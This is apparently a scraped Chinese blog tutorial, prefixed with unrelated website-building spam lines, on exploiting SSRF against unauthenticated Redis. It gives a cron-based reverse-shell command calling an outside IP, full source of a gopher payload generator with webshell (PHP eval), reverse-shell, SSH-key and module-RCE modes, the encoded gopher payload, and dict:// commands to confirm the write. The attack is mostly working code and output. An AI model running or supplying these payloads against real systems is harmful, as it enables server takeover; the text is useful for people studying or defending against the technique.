肥城网站建设电话,东莞网站建设公司直播,德阳做网站公司,建网页放到什么网站上SSRFRedis未授权getshell
1.前言 当一个网站具有ssrf漏洞#xff0c;如果没有一些过滤措施#xff0c;比如没过滤file协议#xff0c;gophere协议#xff0c;dict等协议#xff0c;就会导致无法访问的内网服务器信息泄露#xff0c;甚至可以让攻击者拿下内网服务器权限 …SSRFRedis未授权getshell
1.前言 当一个网站具有ssrf漏洞如果没有一些过滤措施比如没过滤file协议gophere协议dict等协议就会导致无法访问的内网服务器信息泄露甚至可以让攻击者拿下内网服务器权限 2.文章主要内容
这里就不讲file协议去获取内网服务器的信息了也不讲dict协议原理这些直接百度了解即可直接就介绍如何利用gopher协议通过SSRF和Redis未授权进行getshell
3.条件
目标内网机器出网redis可以未授权访问(或者具有redis密码)。
4.思路
如果想getshell无非就是让目标主机反弹连接到我们的服务器那么就需要借助目标主机的定时任务了由于目标主机具有redis未授权访问漏洞并且redis有这样一个特性就是可以将数据快照信息覆盖到服务器的目录中如果你直接可以通过redis客户端连接目标的redis执行命令那么实现反弹shell的具体的操作命令如下
set lucy \n\n*/1 * * * * bash -i /dev/tcp/154.90.63.50/2333 01\n\n
config set dir /var/spool/cron/
config set dbfilename root
save但是由于目标在内网我们通过redis客户端肯定是访问不到的所以就必须借组具有ssrf漏洞的web服务器将web服务器作为跳板让他帮我们操作内网的redis即可。
那么如何才能让web服务器帮我们在内网中去执行我们上面的具体操作命令呢如果不是通过redis客户端操作肯定不能用上面这么简单的命令了因为我们让web服务器帮我们发送payload的时候使用的是tcp协议然而真正内网主机中reedis执行的命令协议比较复杂有一定的规则因此我们要将我们的payload转换一下格式借组gopher协议发送payload
5.payload转gopher协议
这里就要用到github上一个大佬的工具了
https://github.com/xmsec/redis-ssrf其中我们只需要使用ssrf-redis.py文件即可对其中的内容进行稍微修改然后运行就可以获得我们支持gopher协议的payload下面我把大佬的ssrf-redis.py文件贴出来我对一些地方进行了修改): 要修改的地方 第140行的IP要修改为你要攻击的内网IP第141的port修改为目标redis开放端口默认是6379第157行的mode改为1第160行的passwd如果对方redis有密码并且你必须知道就需要设置为目标的redis密码第112行需要修改定时任务文件名一般为root第113行要修改定时任务文件所在目录一般为/var/spool/cron/当然有的机器的目录会不一样可以百度搜索常见目录第114行就是定时任务的反弹shell了根据你的监听服务器监听端口进行修改即可这个定时任务是每分钟一次 #!/usr/local/bin python
#codingutf8try:from urllib import quote
except:from urllib.parse import quotedef generate_info(passwd):cmd[info,quit]if passwd:cmd.insert(0,AUTH {}.format(passwd))return cmddef generate_shell(filename,path,passwd,payload):cmd[flushall,set 1 {}.format(payload),config set dir {}.format(path),config set dbfilename {}.format(filename),save,quit]if passwd:cmd.insert(0,AUTH {}.format(passwd))return cmddef generate_reverse(filename,path,passwd,payload): # centoscmd[flushall,set lucy {}.format(payload),config set dir {}.format(path),config set dbfilename {}.format(filename),save,quit]if passwd:cmd.insert(0,AUTH {}.format(passwd))return cmddef generate_sshkey(filename,path,passwd,payload):cmd[flushall,set 1 {}.format(payload),config set dir {}.format(path),config set dbfilename {}.format(filename),save,quit]if passwd:cmd.insert(0,AUTH {}.format(passwd))return cmddef generate_rce(lhost,lport,passwd,commandcat /etc/passwd):exp_filenameexp.socmd[SLAVEOF {} {}.format(lhost,lport),CONFIG SET dir /tmp/,config set dbfilename {}.format(exp_filename),MODULE LOAD /tmp/{}.format(exp_filename),system.exec {}.format(command.replace( ,${IFS})),# SLAVEOF NO ONE,# CONFIG SET dbfilename dump.rdb,# system.exec rm${IFS}/tmp/{}.format(exp_filename),# MODULE UNLOAD system,quit]if passwd:cmd.insert(0,AUTH {}.format(passwd))return cmddef rce_cleanup():exp_filenameexp.socmd[SLAVEOF NO ONE,CONFIG SET dbfilename dump.rdb,system.exec rm /tmp/{}.format(exp_filename).replace( ,${IFS}),MODULE UNLOAD system,quit]if passwd:cmd.insert(0,AUTH {}.format(passwd))return cmddef redis_format(arr):CRLF\r\nredis_arr arr.split( )cmdcmd*str(len(redis_arr))for x in redis_arr:cmdCRLF$str(len((x)))CRLFxcmdCRLFreturn cmddef generate_payload(passwd,mode):payloadtestif mode 0:filenameshell.phppath/var/www/htmlshell\n\n?eval($_GET[0]);?\n\ncmdgenerate_shell(filename,path,passwd,shell)elif mode1: filenamerootpath/var/spool/cron/shell\n\n*/1 * * * * bash -i /dev/tcp/154.66.63.60/2333 01\n\ncmdgenerate_reverse(filename,path,passwd,shell.replace( ,^))elif mode2:filenameauthorized_keyspath/root/.ssh/pubkey\n\nssh-rsa cmdgenerate_sshkey(filename,path,passwd,pubkey.replace( ,^))elif mode3:lhost192.168.1.100lport6666commandwhoamicmdgenerate_rce(lhost,lport,passwd,command)elif mode31:cmdrce_cleanup()elif mode4:cmdgenerate_info(passwd)protocolgopher://ip172.18.240.7port6379payloadprotocolip:port/_for x in cmd:payload quote(redis_format(x).replace(^, ))return payloadif __name____main__: # 0 for webshell ; 1 for re shell ; 2 for ssh key ; # 3 for redis rce ; 31 for rce clean up# 4 for info# suggest cleaning up when mode 3 usedmode1# input auth passwd or leave blank for no pwpasswd pgenerate_payload(passwd,mode)print(p)6.运行协议格式转换脚本
在根据你的目标修改上面的脚本之后运行脚本
python ssrf-redis.py运行结果如下
gopher://172.18.240.7:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Alucy%0D%0A%2458%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/154.66.63.60/2333%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A这个结果就是我们最终的设置定时任务的反弹shell的payload将这个payload放到具有ssrf漏洞的功能点发起请求即可。
如图就是我们使用payload之后的回显结果都是OK说明所有命令执行成功不放心的话可以继续下一步进行校验执行结果。 7.检查执行结果(自信的话可跳过此步骤)
为了确定我们的payload是否成功写入内网可以利用dict协议进行检查使用以下命令可以看内网主机的redis的key有哪些
dict://172.18.240.7:6379/keys *如图所示发现就有我们刚刚的python脚本中设置payload的lucy这个key 然后我们再利用dict协议用以下命令去看看lucy对应的value
dict://172.18.240.7:6379/get lucy如图所示发现我们的反弹shell的定时任务成功写入 8.环境复现
上面的图中的靶场是某公司的面试题我这里没有靶场环境这个文章旨在提供思路如果想复现类似的环境可以参考下面的文章这个文章就有环境搭建不过不是我这篇文章的环境
SSRF——手把手教你Redis反弹Shell_ssrf redis-CSDN博客